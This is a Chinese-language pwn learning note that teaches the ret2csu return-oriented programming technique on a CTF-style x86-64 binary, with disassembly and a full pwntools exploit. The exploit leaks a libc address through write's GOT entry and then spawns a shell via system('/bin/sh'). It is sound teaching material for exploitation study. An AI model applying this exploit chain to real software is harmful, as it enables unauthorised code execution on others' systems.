pwn学习笔记(9)-中级ROP–ret2csu

前置知识

​ 首先是64位文件的传参方式:前六个参数是从左到右放入寄存器:rdi、rsi、rdx、rcx、r8、r9,之后的通过栈传参。

​ 比如:

传参函数大于7个:

H(a,b,c,d,e,f,g,h)

a->%rdi、b->%rsi、c->%rdx、d->%rcx、e->%r8、f->%r9

h->(%esp)

g->(%esp)

call H

​ 先看看如下代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#include "stdio.h"


int H(int a,int b,int c,int d,int e,int f,int g,int h);

int main(){
int a = 1,b = 2,c = 3,d = 4,e = 5,f = 6,g = 7,h = 8;
printf("%d",H(a,b,c,d,e,f,g,h));
return 0;
}



int H(int a,int b,int c,int d,int e,int f,int g,int h){
return a+b+c+d+e+f+g+h;
}

​ 之后反汇编一下main函数和H函数的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
0000000000001149 <main>:
1149: f3 0f 1e fa endbr64
114d: 55 push rbp
114e: 48 89 e5 mov rbp,rsp
1151: 48 83 ec 20 sub rsp,0x20
1155: c7 45 e0 01 00 00 00 mov DWORD PTR [rbp-0x20],0x1
115c: c7 45 e4 02 00 00 00 mov DWORD PTR [rbp-0x1c],0x2
1163: c7 45 e8 03 00 00 00 mov DWORD PTR [rbp-0x18],0x3
116a: c7 45 ec 04 00 00 00 mov DWORD PTR [rbp-0x14],0x4
1171: c7 45 f0 05 00 00 00 mov DWORD PTR [rbp-0x10],0x5
1178: c7 45 f4 06 00 00 00 mov DWORD PTR [rbp-0xc],0x6
117f: c7 45 f8 07 00 00 00 mov DWORD PTR [rbp-0x8],0x7
1186: c7 45 fc 08 00 00 00 mov DWORD PTR [rbp-0x4],0x8
118d: 44 8b 4d f4 mov r9d,DWORD PTR [rbp-0xc]
1191: 44 8b 45 f0 mov r8d,DWORD PTR [rbp-0x10]
1195: 8b 4d ec mov ecx,DWORD PTR [rbp-0x14]
1198: 8b 55 e8 mov edx,DWORD PTR [rbp-0x18]
119b: 8b 75 e4 mov esi,DWORD PTR [rbp-0x1c]
119e: 8b 45 e0 mov eax,DWORD PTR [rbp-0x20]
11a1: 8b 7d fc mov edi,DWORD PTR [rbp-0x4]
11a4: 57 push rdi
11a5: 8b 7d f8 mov edi,DWORD PTR [rbp-0x8]
11a8: 57 push rdi
11a9: 89 c7 mov edi,eax
11ab: e8 1e 00 00 00 call 11ce <H>
11b0: 48 83 c4 10 add rsp,0x10
11b4: 89 c6 mov esi,eax
11b6: 48 8d 3d 47 0e 00 00 lea rdi,[rip+0xe47] # 2004 <_IO_stdin_used+0x4>
11bd: b8 00 00 00 00 mov eax,0x0
11c2: e8 89 fe ff ff call 1050 <printf@plt>
11c7: b8 00 00 00 00 mov eax,0x0
11cc: c9 leave
11cd: c3 ret

00000000000011ce <H>:
11ce: f3 0f 1e fa endbr64
11d2: 55 push rbp
11d3: 48 89 e5 mov rbp,rsp
11d6: 89 7d fc mov DWORD PTR [rbp-0x4],edi
11d9: 89 75 f8 mov DWORD PTR [rbp-0x8],esi
11dc: 89 55 f4 mov DWORD PTR [rbp-0xc],edx
11df: 89 4d f0 mov DWORD PTR [rbp-0x10],ecx
11e2: 44 89 45 ec mov DWORD PTR [rbp-0x14],r8d
11e6: 44 89 4d e8 mov DWORD PTR [rbp-0x18],r9d
11ea: 8b 55 fc mov edx,DWORD PTR [rbp-0x4]
11ed: 8b 45 f8 mov eax,DWORD PTR [rbp-0x8]
11f0: 01 c2 add edx,eax
11f2: 8b 45 f4 mov eax,DWORD PTR [rbp-0xc]
11f5: 01 c2 add edx,eax
11f7: 8b 45 f0 mov eax,DWORD PTR [rbp-0x10]
11fa: 01 c2 add edx,eax
11fc: 8b 45 ec mov eax,DWORD PTR [rbp-0x14]
11ff: 01 c2 add edx,eax
1201: 8b 45 e8 mov eax,DWORD PTR [rbp-0x18]
1204: 01 c2 add edx,eax
1206: 8b 45 10 mov eax,DWORD PTR [rbp+0x10]
1209: 01 c2 add edx,eax
120b: 8b 45 18 mov eax,DWORD PTR [rbp+0x18]
120e: 01 d0 add eax,edx
1210: 5d pop rbp
1211: c3 ret

​ 很明显的就是前六个参数是寄存器传参,剩下两个就是栈传参。

libc_csu_init函数基础:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
.text:0000000000001220
.text:0000000000001220 ; =============== S U B R O U T I N E =======================================
.text:0000000000001220
.text:0000000000001220
.text:0000000000001220 ; void _libc_csu_init(void)
.text:0000000000001220 public __libc_csu_init
.text:0000000000001220 __libc_csu_init proc near ; DATA XREF: _start+1A↑o
.text:0000000000001220 ; __unwind {
.text:0000000000001220 endbr64
.text:0000000000001224 push r15
.text:0000000000001226 lea r15, __frame_dummy_init_array_entry
.text:000000000000122D push r14
.text:000000000000122F mov r14, rdx
.text:0000000000001232 push r13
.text:0000000000001234 mov r13, rsi
.text:0000000000001237 push r12
.text:0000000000001239 mov r12d, edi
.text:000000000000123C push rbp
.text:000000000000123D lea rbp, __do_global_dtors_aux_fini_array_entry
.text:0000000000001244 push rbx
.text:0000000000001245 sub rbp, r15
.text:0000000000001248 sub rsp, 8
.text:000000000000124C call _init_proc
.text:0000000000001251 sar rbp, 3
.text:0000000000001255 jz short loc_1276
.text:0000000000001257 xor ebx, ebx
.text:0000000000001259 nop dword ptr [rax+00000000h]
.text:0000000000001260
.text:0000000000001260 loc_1260: ; CODE XREF: __libc_csu_init+54↓j
.text:0000000000001260 mov rdx, r14
.text:0000000000001263 mov rsi, r13
.text:0000000000001266 mov edi, r12d
.text:0000000000001269 call ds:(__frame_dummy_init_array_entry - 3DB8h)[r15+rbx*8]
.text:000000000000126D add rbx, 1
.text:0000000000001271 cmp rbp, rbx
.text:0000000000001274 jnz short loc_1260
.text:0000000000001276
.text:0000000000001276 loc_1276: ; CODE XREF: __libc_csu_init+35↑j
.text:0000000000001276 add rsp, 8
.text:000000000000127A pop rbx
.text:000000000000127B pop rbp
.text:000000000000127C pop r12
.text:000000000000127E pop r13
.text:0000000000001280 pop r14
.text:0000000000001282 pop r15
.text:0000000000001284 retn
.text:0000000000001284 ; } // starts at 1220

​ 这里我们可以利用下面的几个点,上汇编:

1
2
3
4
5
6
7
8
9
.text:0000000000001276 loc_1276:                               ; CODE XREF: __libc_csu_init+35↑j
.text:0000000000001276 add rsp, 8
.text:000000000000127A pop rbx
.text:000000000000127B pop rbp
.text:000000000000127C pop r12
.text:000000000000127E pop r13
.text:0000000000001280 pop r14
.text:0000000000001282 pop r15
.text:0000000000001284 retn

​ 发现了这里可以修改个别寄存器的值,然后是这儿,可以修改传参用的那几个寄存器的值:

1
2
3
4
5
6
7
8
.text:0000000000001260 loc_1260:                               ; CODE XREF: __libc_csu_init+54↓j
.text:0000000000001260 mov rdx, r14
.text:0000000000001263 mov rsi, r13
.text:0000000000001266 mov edi, r12d
.text:0000000000001269 call ds:(__frame_dummy_init_array_entry - 3DB8h)[r15+rbx*8]
.text:000000000000126D add rbx, 1
.text:0000000000001271 cmp rbp, rbx
.text:0000000000001274 jnz short loc_1260

​ 由此,我们可以通过控制r13等和传参用的寄存器相对应的来进行ret2syscall等操作。

例子:

​ 先看看架构:

1
2
3
4
5
6
7
g01den@MSI:~/Temp$ checksec pwn
[*] '/home/g01den/Temp/pwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

​ IDA分析:

1
2
3
4
5
6
ssize_t vulnerable_function()
{
char buf[128]; // [rsp+0h] [rbp-80h] BYREF

return read(0, buf, 0x200uLL);
}

​ 然后看看__libc_csu_init

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
.text:00000000004005C0
.text:00000000004005C0 ; =============== S U B R O U T I N E =======================================
.text:00000000004005C0
.text:00000000004005C0
.text:00000000004005C0 ; void __fastcall _libc_csu_init(unsigned int, __int64, __int64)
.text:00000000004005C0 public __libc_csu_init
.text:00000000004005C0 __libc_csu_init proc near ; DATA XREF: _start+16↑o
.text:00000000004005C0 ; __unwind {
.text:00000000004005C0 push r15
.text:00000000004005C2 push r14
.text:00000000004005C4 mov r15d, edi
.text:00000000004005C7 push r13
.text:00000000004005C9 push r12
.text:00000000004005CB lea r12, __frame_dummy_init_array_entry
.text:00000000004005D2 push rbp
.text:00000000004005D3 lea rbp, __do_global_dtors_aux_fini_array_entry
.text:00000000004005DA push rbx
.text:00000000004005DB mov r14, rsi
.text:00000000004005DE mov r13, rdx
.text:00000000004005E1 sub rbp, r12
.text:00000000004005E4 sub rsp, 8
.text:00000000004005E8 sar rbp, 3
.text:00000000004005EC call _init_proc
.text:00000000004005F1 test rbp, rbp
.text:00000000004005F4 jz short loc_400616
.text:00000000004005F6 xor ebx, ebx
.text:00000000004005F8 nop dword ptr [rax+rax+00000000h]
.text:0000000000400600
.text:0000000000400600 loc_400600: ; CODE XREF: __libc_csu_init+54↓j
.text:0000000000400600 mov rdx, r13
.text:0000000000400603 mov rsi, r14
.text:0000000000400606 mov edi, r15d
.text:0000000000400609 call ds:(__frame_dummy_init_array_entry - 600E10h)[r12+rbx*8]
.text:000000000040060D add rbx, 1
.text:0000000000400611 cmp rbx, rbp
.text:0000000000400614 jnz short loc_400600
.text:0000000000400616
.text:0000000000400616 loc_400616: ; CODE XREF: __libc_csu_init+34↑j
.text:0000000000400616 add rsp, 8
.text:000000000040061A pop rbx
.text:000000000040061B pop rbp
.text:000000000040061C pop r12
.text:000000000040061E pop r13
.text:0000000000400620 pop r14
.text:0000000000400622 pop r15
.text:0000000000400624 retn
.text:0000000000400624 ; } // starts at 4005C0

​ 由下面这个点可以知道,可以控制的寄存器为 edi、rsi、rdx,另外,call ds:(__frame_dummy_init_array_entry - 600E10h)[r12+rbx*8]还使得可以调用r12+rbx*8的一个地址的函数,所以,这里可以利用r12来跳转到write函数来泄露write函数的地址,然后就可以通过ret2libc来获得shell,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from pwn import *

p = process('./level5')
elf = ELF('level5')

pop_addr = 0x40061a
write_got = elf.got['write']
mov_addr = 0x400600
main_addr = elf.symbols['main']

p.recvuntil('Hello, World\n')
payload0 = 'A'*136 + p64(pop_addr) + p64(0) + p64(1) + p64(write_got) + p64(8) + p64(write_got) + p64(1) + p64(mov_addr) + 'a '*(0x8+8*6) + p64(main_addr)
p.sendline(payload0)

write_start = u64(p.recv(8))
print "write_addr_in_memory_is "+hex(write_start)

libc = ELF('/usr/lib/x86_64-linux-gnu/libc.so.6')
#libc=ELF('libc.so.6')

libc_base=write_start-libc.symbols['write']
system_addr=libc.symbols['system']+libc_base
binsh=next(libc.search('/bin/sh'))+libc_base

print "libc_base_addr_in_memory_is "+hex(libc_base)
print "system_addr_in_memory_is "+hex(system_addr)
print "/bin/sh_addr_in_memory_is "+hex(binsh)

pop_rdi_ret=0x400623
payload='a'*0x88+p64(pop_rdi_ret)+p64(binsh)+p64(system_addr)

p.send(payload)
p.interactive()